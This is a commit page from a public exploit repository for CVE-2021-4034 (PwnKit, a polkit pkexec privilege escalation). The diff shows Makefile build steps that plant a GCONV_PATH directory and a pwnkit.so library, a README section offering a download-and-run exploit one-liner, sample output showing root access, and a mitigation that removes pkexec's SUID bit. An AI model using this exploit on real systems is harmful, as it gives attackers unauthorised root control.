MultiMote/CVE-2021-4034
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Merge branch 'main' into patch-3

Browse Source
This commit is contained in:
Davide Berardi 2022-01-30 15:15:04 +01:00 committed by GitHub
commit a5375a7d35
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 8 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
Makefile
View File

@ -15,7 +15,7 @@ gconv-modules:
.PHONY: gconvpath .PHONY: gconvpath
gconvpath: gconvpath:
mkdir -p GCONV_PATH=. mkdir -p GCONV_PATH=.
cp $(TRUE) GCONV_PATH=./pwnkit.so:. cp -f $(TRUE) GCONV_PATH=./pwnkit.so:.
pwnkit.so: pwnkit.c pwnkit.so: pwnkit.c
$(CC) $(CFLAGS) --shared -fPIC -o $@ $< $(CC) $(CFLAGS) --shared -fPIC -o $@ $<

8
README.md
View File

@ -63,7 +63,6 @@ vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
# One-liner commands # One-liner commands
You can easily exploit the system using a single script, downloadable and executable with this command: You can easily exploit the system using a single script, downloadable and executable with this command:
@ -84,3 +83,10 @@ cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
whoami whoami
root root
``` ```
# Mitigation
If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation.
```
chmod 0755 /usr/bin/pkexec
```